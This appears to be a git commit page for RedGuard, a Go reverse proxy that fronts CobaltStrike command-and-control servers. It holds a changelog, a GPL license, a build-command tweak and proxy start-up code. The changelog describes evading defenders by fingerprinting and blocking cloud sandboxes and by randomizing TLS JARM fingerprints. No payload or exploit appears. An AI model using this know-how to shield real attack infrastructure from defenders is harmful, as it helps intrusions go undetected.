Update RedGuard Version 22.7.22

This commit is contained in:
风起
2022-07-22 10:43:01 +08:00
parent dd1b16672a
commit a0e5d10982
25 changed files with 22821 additions and 22799 deletions
+35 -31
View File
@@ -1,31 +1,35 @@
## [22.7.21.1632] - 2022-7-21 ## [22.7.22.1036] - 2022-7-22
### Added ### Added
- Limit the maximum number of log backup files that can be generated - Add ThreatBook Cloud SandBox to JA3 Fingerprint Base Interception rule library
## [22.7.14.1043] - 2022-7-14 ## [22.7.21.1632] - 2022-7-21
### Added ### Added
- Resolve the problem that the custom certificate is overwritten - Limit the maximum number of log backup files that can be generated
## [22.7.12.1111] - 2022-7-12 ## [22.7.14.1043] - 2022-7-14
### Added ### Added
- Profile Header authentication ignores case - Resolve the problem that the custom certificate is overwritten
- Disable the default JARM fingerprint randomization parameter
- Change the long version name!! ## [22.7.12.1111] - 2022-7-12
- Forward the packet XFF header so that C2 gets the real IP address ### Added
- Custom configuration file path - Profile Header authentication ignores case
- Added validity verification for parameter IP input - Disable the default JARM fingerprint randomization parameter
- Change the long version name!!
## [22.6.28.1712] - 2022-6-28 - Forward the packet XFF header so that C2 gets the real IP address
### Added - Custom configuration file path
- JA3 fingerprint Identify sandbox - Added validity verification for parameter IP input
- Code has been optimized
- Solved the problem that communication cannot be performed normally ## [22.6.28.1712] - 2022-6-28
due to the incompatibility of TLS jarm fingerprint randomize with custom certificates ### Added
- JA3 fingerprint Identify sandbox
## [22.5.26.1716] - 2022-5-26 - Code has been optimized
### Added - Solved the problem that communication cannot be performed normally
- TLS jarm fingerprint randomize due to the incompatibility of TLS jarm fingerprint randomize with custom certificates
## [22.5.20.1220] - 2022-5-20 ## [22.5.26.1716] - 2022-5-26
### Added ### Added
- Initialize project - TLS jarm fingerprint randomize
## [22.5.20.1220] - 2022-5-20
### Added
- Initialize project
+338 -338
View File
@@ -1,339 +1,339 @@
GNU GENERAL PUBLIC LICENSE GNU GENERAL PUBLIC LICENSE
Version 2, June 1991 Version 2, June 1991
Copyright (C) 1989, 1991 Free Software Foundation, Inc., <http://fsf.org/> Copyright (C) 1989, 1991 Free Software Foundation, Inc., <http://fsf.org/>
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
Everyone is permitted to copy and distribute verbatim copies Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed. of this license document, but changing it is not allowed.
Preamble Preamble
The licenses for most software are designed to take away your The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public freedom to share and change it. By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users. This software--to make sure the software is free for all its users. This
General Public License applies to most of the Free Software General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to Foundation's software and to any other program whose authors commit to
using it. (Some other Free Software Foundation software is covered by using it. (Some other Free Software Foundation software is covered by
the GNU Lesser General Public License instead.) You can apply it to the GNU Lesser General Public License instead.) You can apply it to
your programs, too. your programs, too.
When we speak of free software, we are referring to freedom, not When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things. in new free programs; and that you know you can do these things.
To protect your rights, we need to make restrictions that forbid To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights. anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it. distribute copies of the software, or if you modify it.
For example, if you distribute copies of such a program, whether For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that gratis or for a fee, you must give the recipients all the rights that
you have. You must make sure that they, too, receive or can get the you have. You must make sure that they, too, receive or can get the
source code. And you must show them these terms so they know their source code. And you must show them these terms so they know their
rights. rights.
We protect your rights with two steps: (1) copyright the software, and We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy, (2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software. distribute and/or modify the software.
Also, for each author's protection and ours, we want to make certain Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free that everyone understands that there is no warranty for this free
software. If the software is modified by someone else and passed on, we software. If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original that any problems introduced by others will not reflect on the original
authors' reputations. authors' reputations.
Finally, any free program is threatened constantly by software Finally, any free program is threatened constantly by software
patents. We wish to avoid the danger that redistributors of a free patents. We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the program will individually obtain patent licenses, in effect making the
program proprietary. To prevent this, we have made it clear that any program proprietary. To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all. patent must be licensed for everyone's free use or not licensed at all.
The precise terms and conditions for copying, distribution and The precise terms and conditions for copying, distribution and
modification follow. modification follow.
GNU GENERAL PUBLIC LICENSE GNU GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. This License applies to any program or other work which contains 0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License. The "Program", below, under the terms of this General Public License. The "Program", below,
refers to any such program or work, and a "work based on the Program" refers to any such program or work, and a "work based on the Program"
means either the Program or any derivative work under copyright law: means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it, that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another either verbatim or with modifications and/or translated into another
language. (Hereinafter, translation is included without limitation in language. (Hereinafter, translation is included without limitation in
the term "modification".) Each licensee is addressed as "you". the term "modification".) Each licensee is addressed as "you".
Activities other than copying, distribution and modification are not Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope. The act of covered by this License; they are outside its scope. The act of
running the Program is not restricted, and the output from the Program running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program). Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does. Whether that is true depends on what the Program does.
1. You may copy and distribute verbatim copies of the Program's 1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty; notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License and give any other recipients of the Program a copy of this License
along with the Program. along with the Program.
You may charge a fee for the physical act of transferring a copy, and You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee. you may at your option offer warranty protection in exchange for a fee.
2. You may modify your copy or copies of the Program or any portion 2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1 distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions: above, provided that you also meet all of these conditions:
a) You must cause the modified files to carry prominent notices a) You must cause the modified files to carry prominent notices
stating that you changed the files and the date of any change. stating that you changed the files and the date of any change.
b) You must cause any work that you distribute or publish, that in b) You must cause any work that you distribute or publish, that in
whole or in part contains or is derived from the Program or any whole or in part contains or is derived from the Program or any
part thereof, to be licensed as a whole at no charge to all third part thereof, to be licensed as a whole at no charge to all third
parties under the terms of this License. parties under the terms of this License.
c) If the modified program normally reads commands interactively c) If the modified program normally reads commands interactively
when run, you must cause it, when started running for such when run, you must cause it, when started running for such
interactive use in the most ordinary way, to print or display an interactive use in the most ordinary way, to print or display an
announcement including an appropriate copyright notice and a announcement including an appropriate copyright notice and a
notice that there is no warranty (or else, saying that you provide notice that there is no warranty (or else, saying that you provide
a warranty) and that users may redistribute the program under a warranty) and that users may redistribute the program under
these conditions, and telling the user how to view a copy of this these conditions, and telling the user how to view a copy of this
License. (Exception: if the Program itself is interactive but License. (Exception: if the Program itself is interactive but
does not normally print such an announcement, your work based on does not normally print such an announcement, your work based on
the Program is not required to print an announcement.) the Program is not required to print an announcement.)
These requirements apply to the modified work as a whole. If These requirements apply to the modified work as a whole. If
identifiable sections of that work are not derived from the Program, identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works. But when you sections when you distribute them as separate works. But when you
distribute the same sections as part of a whole which is a work based distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it. entire whole, and thus to each and every part regardless of who wrote it.
Thus, it is not the intent of this section to claim rights or contest Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or exercise the right to control the distribution of derivative or
collective works based on the Program. collective works based on the Program.
In addition, mere aggregation of another work not based on the Program In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under a storage or distribution medium does not bring the other work under
the scope of this License. the scope of this License.
3. You may copy and distribute the Program (or a work based on it, 3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following: Sections 1 and 2 above provided that you also do one of the following:
a) Accompany it with the complete corresponding machine-readable a) Accompany it with the complete corresponding machine-readable
source code, which must be distributed under the terms of Sections source code, which must be distributed under the terms of Sections
1 and 2 above on a medium customarily used for software interchange; or, 1 and 2 above on a medium customarily used for software interchange; or,
b) Accompany it with a written offer, valid for at least three b) Accompany it with a written offer, valid for at least three
years, to give any third party, for a charge no more than your years, to give any third party, for a charge no more than your
cost of physically performing source distribution, a complete cost of physically performing source distribution, a complete
machine-readable copy of the corresponding source code, to be machine-readable copy of the corresponding source code, to be
distributed under the terms of Sections 1 and 2 above on a medium distributed under the terms of Sections 1 and 2 above on a medium
customarily used for software interchange; or, customarily used for software interchange; or,
c) Accompany it with the information you received as to the offer c) Accompany it with the information you received as to the offer
to distribute corresponding source code. (This alternative is to distribute corresponding source code. (This alternative is
allowed only for noncommercial distribution and only if you allowed only for noncommercial distribution and only if you
received the program in object code or executable form with such received the program in object code or executable form with such
an offer, in accord with Subsection b above.) an offer, in accord with Subsection b above.)
The source code for a work means the preferred form of the work for The source code for a work means the preferred form of the work for
making modifications to it. For an executable work, complete source making modifications to it. For an executable work, complete source
code means all the source code for all modules it contains, plus any code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to associated interface definition files, plus the scripts used to
control compilation and installation of the executable. However, as a control compilation and installation of the executable. However, as a
special exception, the source code distributed need not include special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component operating system on which the executable runs, unless that component
itself accompanies the executable. itself accompanies the executable.
If distribution of executable or object code is made by offering If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not distribution of the source code, even though third parties are not
compelled to copy the source along with the object code. compelled to copy the source along with the object code.
4. You may not copy, modify, sublicense, or distribute the Program 4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License. Any attempt except as expressly provided under this License. Any attempt
otherwise to copy, modify, sublicense or distribute the Program is otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License. void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such this License will not have their licenses terminated so long as such
parties remain in full compliance. parties remain in full compliance.
5. You are not required to accept this License, since you have not 5. You are not required to accept this License, since you have not
signed it. However, nothing else grants you permission to modify or signed it. However, nothing else grants you permission to modify or
distribute the Program or its derivative works. These actions are distribute the Program or its derivative works. These actions are
prohibited by law if you do not accept this License. Therefore, by prohibited by law if you do not accept this License. Therefore, by
modifying or distributing the Program (or any work based on the modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying all its terms and conditions for copying, distributing or modifying
the Program or works based on it. the Program or works based on it.
6. Each time you redistribute the Program (or any work based on the 6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to original licensor to copy, distribute or modify the Program subject to
these terms and conditions. You may not impose any further these terms and conditions. You may not impose any further
restrictions on the recipients' exercise of the rights granted herein. restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to You are not responsible for enforcing compliance by third parties to
this License. this License.
7. If, as a consequence of a court judgment or allegation of patent 7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues), infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot excuse you from the conditions of this License. If you cannot
distribute so as to satisfy simultaneously your obligations under this distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all. For example, if a patent may not distribute the Program at all. For example, if a patent
license would not permit royalty-free redistribution of the Program by license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program. refrain entirely from distribution of the Program.
If any portion of this section is held invalid or unenforceable under If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other apply and the section as a whole is intended to apply in other
circumstances. circumstances.
It is not the purpose of this section to induce you to infringe any It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is integrity of the free software distribution system, which is
implemented by public license practices. Many people have made implemented by public license practices. Many people have made
generous contributions to the wide range of software distributed generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot to distribute software through any other system and a licensee cannot
impose that choice. impose that choice.
This section is intended to make thoroughly clear what is believed to This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License. be a consequence of the rest of this License.
8. If the distribution and/or use of the Program is restricted in 8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among those countries, so that distribution is permitted only in or among
countries not thus excluded. In such case, this License incorporates countries not thus excluded. In such case, this License incorporates
the limitation as if written in the body of this License. the limitation as if written in the body of this License.
9. The Free Software Foundation may publish revised and/or new versions 9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time. Such new versions will of the General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to be similar in spirit to the present version, but may differ in detail to
address new problems or concerns. address new problems or concerns.
Each version is given a distinguishing version number. If the Program Each version is given a distinguishing version number. If the Program
specifies a version number of this License which applies to it and "any specifies a version number of this License which applies to it and "any
later version", you have the option of following the terms and conditions later version", you have the option of following the terms and conditions
either of that version or of any later version published by the Free either of that version or of any later version published by the Free
Software Foundation. If the Program does not specify a version number of Software Foundation. If the Program does not specify a version number of
this License, you may choose any version ever published by the Free Software this License, you may choose any version ever published by the Free Software
Foundation. Foundation.
10. If you wish to incorporate parts of the Program into other free 10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author programs whose distribution conditions are different, write to the author
to ask for permission. For software which is copyrighted by the Free to ask for permission. For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this. Our decision will be guided by the two goals make exceptions for this. Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally. of promoting the sharing and reuse of software generally.
NO WARRANTY NO WARRANTY
11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION. REPAIR OR CORRECTION.
12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES. POSSIBILITY OF SUCH DAMAGES.
END OF TERMS AND CONDITIONS END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms. free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found. the "copyright" line and a pointer to where the full notice is found.
RedGuard RedGuard
Copyright (C) {2022} {风起} Copyright (C) {2022} {风起}
This program is free software; you can redistribute it and/or modify This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or the Free Software Foundation; either version 2 of the License, or
(at your option) any later version. (at your option) any later version.
This program is distributed in the hope that it will be useful, This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details. GNU General Public License for more details.
You should have received a copy of the GNU General Public License along You should have received a copy of the GNU General Public License along
with this program; if not, write to the Free Software Foundation, Inc., with this program; if not, write to the Free Software Foundation, Inc.,
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
Also add information on how to contact you by electronic and paper mail. Also add information on how to contact you by electronic and paper mail.
If the program is interactive, make it output a short notice like this If the program is interactive, make it output a short notice like this
when it starts in an interactive mode: when it starts in an interactive mode:
Gnomovision version 69, Copyright (C) year name of author Gnomovision version 69, Copyright (C) year name of author
Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details. under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, the commands you use may parts of the General Public License. Of course, the commands you use may
be called something other than `show w' and `show c'; they could even be be called something other than `show w' and `show c'; they could even be
mouse-clicks or menu items--whatever suits your program. mouse-clicks or menu items--whatever suits your program.
You should also get your employer (if you work as a programmer) or your You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program, if school, if any, to sign a "copyright disclaimer" for the program, if
necessary. Here is a sample; alter the names: necessary. Here is a sample; alter the names:
Yoyodyne, Inc., hereby disclaims all copyright interest in the program Yoyodyne, Inc., hereby disclaims all copyright interest in the program
`Gnomovision' (which makes passes at compilers) written by James Hacker. `Gnomovision' (which makes passes at compilers) written by James Hacker.
{signature of Ty Coon}, 1 April 1989 {signature of Ty Coon}, 1 April 1989
Ty Coon, President of Vice Ty Coon, President of Vice
This General Public License does not permit incorporating your program into This General Public License does not permit incorporating your program into
proprietary programs. If your program is a subroutine library, you may proprietary programs. If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the consider it more useful to permit linking proprietary applications with the
library. If this is what you want to do, use the GNU Lesser General library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. Public License instead of this License.
+1 -1
View File
@@ -41,7 +41,7 @@ You can directly download and use the compiled version, or you can download the
git clone https://github.com/wikiZ/RedGuard.git git clone https://github.com/wikiZ/RedGuard.git
cd RedGuard cd RedGuard
# You can also use upx to compress the compiled file size # You can also use upx to compress the compiled file size
go build -ldflags "-s -w" go build -ldflags "-s -w" -trimpath
# Give the tool executable permission and perform initialization operations # Give the tool executable permission and perform initialization operations
chmod +x ./RedGuard&&./RedGuard chmod +x ./RedGuard&&./RedGuard
+106 -106
View File
@@ -1,106 +1,106 @@
/** /**
* @Author 风起 * @Author 风起
* @contact: onlyzaliks@gmail.com * @contact: onlyzaliks@gmail.com
* @File: RedGuard.go * @File: RedGuard.go
* @Time: 2022/5/4 10:44 * @Time: 2022/5/4 10:44
**/ **/
package main package main
import ( import (
"fmt" "fmt"
"os" "os"
"strings" "strings"
"RedGuard/config" "RedGuard/config"
"RedGuard/core" "RedGuard/core"
"RedGuard/core/parameter" "RedGuard/core/parameter"
"RedGuard/lib" "RedGuard/lib"
) )
var logger = lib.Logger() // logger output model var logger = lib.Logger() // logger output model
type C2 struct { type C2 struct {
Type string //Server interface{} Type string //Server interface{}
} }
type c2Action interface { type c2Action interface {
serverInit() serverInit()
} }
type cobaltStrike struct { type cobaltStrike struct {
action string action string
} }
// ServerInit CobaltStrike module core method entry // ServerInit CobaltStrike module core method entry
func (cs *cobaltStrike) serverInit() { func (cs *cobaltStrike) serverInit() {
cs.action = "CobaltStrike" cs.action = "CobaltStrike"
var ( var (
proxy parameter.ProxyConf // Proxy configuration structure proxy parameter.ProxyConf // Proxy configuration structure
cfg = lib.InitConfig() // config file object cfg = lib.InitConfig() // config file object
num int // counting variable num int // counting variable
) )
// HTTPS Reverse proxy SSL certificate is created // HTTPS Reverse proxy SSL certificate is created
lib.InitGenerateSelfSignedCert() lib.InitGenerateSelfSignedCert()
for key, value := range map[string]string{ for key, value := range map[string]string{
"HTTPS": "/", "HTTPS": "/",
"HTTP": "/http", "HTTP": "/http",
} { } {
proxy.Action = key // Gets the reverse proxy listening port type proxy.Action = key // Gets the reverse proxy listening port type
proxy.Pattern = value // Gets the pattern associated with the listening type proxy.Pattern = value // Gets the pattern associated with the listening type
proxy.Port = lib.ReadConfig("proxy", fmt.Sprintf("Port_%s", key), cfg) proxy.Port = lib.ReadConfig("proxy", fmt.Sprintf("Port_%s", key), cfg)
// When num is greater than 0, the main program is called out of the loop // When num is greater than 0, the main program is called out of the loop
if num > 0 { if num > 0 {
break break
} }
num += 1 num += 1
logger.Noticef("HostTarget: %s", lib.ReadConfig("proxy", "HostTarget", cfg)) logger.Noticef("HostTarget: %s", lib.ReadConfig("proxy", "HostTarget", cfg))
// HTTP reverse proxy // HTTP reverse proxy
go core.ProxyManger(proxy.Action, proxy.Port, proxy.Pattern) go core.ProxyManger(proxy.Action, proxy.Port, proxy.Pattern)
} }
// HTTPS reverse proxy // HTTPS reverse proxy
core.ProxyManger(proxy.Action, proxy.Port, proxy.Pattern) core.ProxyManger(proxy.Action, proxy.Port, proxy.Pattern)
// TODO CobaltStrike Core flow control method // TODO CobaltStrike Core flow control method
} }
func (c2 C2) configInit(args *parameter.Parses) { func (c2 C2) configInit(args *parameter.Parses) {
c2.Type = args.C2Type c2.Type = args.C2Type
// Check C2 Server type // Check C2 Server type
switch strings.ToLower(c2.Type) { switch strings.ToLower(c2.Type) {
case "cobaltstrike": case "cobaltstrike":
// CobaltStrike Server initialize method // CobaltStrike Server initialize method
(&cobaltStrike{}).serverInit() (&cobaltStrike{}).serverInit()
} }
// TODO:Development Pending for other C2 frameworks // TODO:Development Pending for other C2 frameworks
} }
func main() { func main() {
fmt.Println(fmt.Sprintf(config.BANNER, config.VERSION, config.URL)) // output banner information. fmt.Println(fmt.Sprintf(config.BANNER, config.VERSION, config.URL)) // output banner information.
// Create the tool argument // Create the tool argument
var ( var (
parse parameter.Parses // Basic parameter structure parse parameter.Parses // Basic parameter structure
cert parameter.Cert // Certificate configuration parameter structure cert parameter.Cert // Certificate configuration parameter structure
_proxy parameter.Proxy // Proxy configuration parameter structure _proxy parameter.Proxy // Proxy configuration parameter structure
) )
core.CmdParse(&parse, &cert, &_proxy) core.CmdParse(&parse, &cert, &_proxy)
// Check whether RedGuard has been initialized // Check whether RedGuard has been initialized
if num, isExits := lib.CreateConfig(parse.C2Type /* C2 Facility Type */, parse.ConfigPath); isExits { if num, isExits := lib.CreateConfig(parse.C2Type /* C2 Facility Type */, parse.ConfigPath); isExits {
switch { switch {
case parse.Update: case parse.Update:
lib.UpdateConfig(&cert, &_proxy) // Update RedGuard Config lib.UpdateConfig(&cert, &_proxy) // Update RedGuard Config
logger.Notice("RedGuard Configuration file updated successfully!") logger.Notice("RedGuard Configuration file updated successfully!")
case parse.IP != "": case parse.IP != "":
if lib.CheckIP(parse.IP) == false { if lib.CheckIP(parse.IP) == false {
logger.Warning("Please enter a valid IP address") logger.Warning("Please enter a valid IP address")
os.Exit(0) os.Exit(0)
} }
logger.Noticef("Search ipLookUpHelper: %s", parse.IP) logger.Noticef("Search ipLookUpHelper: %s", parse.IP)
core.IPLookUp(parse.Location /* owning place to be verified */, parse.IP) // Query the location of an IP address core.IPLookUp(parse.Location /* owning place to be verified */, parse.IP) // Query the location of an IP address
case num == 0: case num == 0:
// Select different C2 Server modes based on user parameters,default CobaltStrike. // Select different C2 Server modes based on user parameters,default CobaltStrike.
(C2{}).configInit(&parse) (C2{}).configInit(&parse)
case num == 1: // Initialization is run for the first time case num == 1: // Initialization is run for the first time
os.Exit(0) os.Exit(0)
} }
} }
} }
+540 -540
View File
File diff suppressed because it is too large Load Diff
+24 -24
View File
@@ -1,24 +1,24 @@
-----BEGIN CERTIFICATE----- -----BEGIN CERTIFICATE-----
